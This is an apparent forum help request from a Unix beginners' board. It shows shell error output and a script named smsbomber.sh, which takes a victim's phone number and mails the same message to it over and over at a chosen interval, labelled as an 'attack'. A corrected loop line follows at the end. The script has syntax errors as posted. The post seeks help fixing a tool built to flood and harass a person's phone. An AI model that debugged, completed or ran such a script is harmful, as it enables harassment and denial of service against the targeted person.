UNIX for Dummies Questions & Answers

line 20: [: missing `]'
line 21: -le: command not found

#Begin Script
#!/bin/sh
echo Please, enter your number
read NUMBER
echo Please, enter your short message
read MESSAGE
echo "Attacking $NUMBER"
echo Continue????? yes/no
read NEXT
if [ "$NEXT" = "no" ]; then
echo " Restarting"
./smsbomber.sh
elif [ "$NEXT" = "yes" ]; then
echo $MESSAGE > 01.txt
echo "how many sms messages to send"
read SMS
echo "number of seconds between messages"
read speed
    Counter=0
    until [ "$SMS 
    -le $COUNTER" ]; do
cat 01.txt | mail -s "SMSBomber" $NUMBER
sleep $speed
    COUNTER=$(( $COUNTER + 1 ))
echo "Attack $COUNTER of $SMS"
echo "Ctrl+c to call of attack"
done
fi
#EndScript

until [ $SMS -le $COUNTER ]; do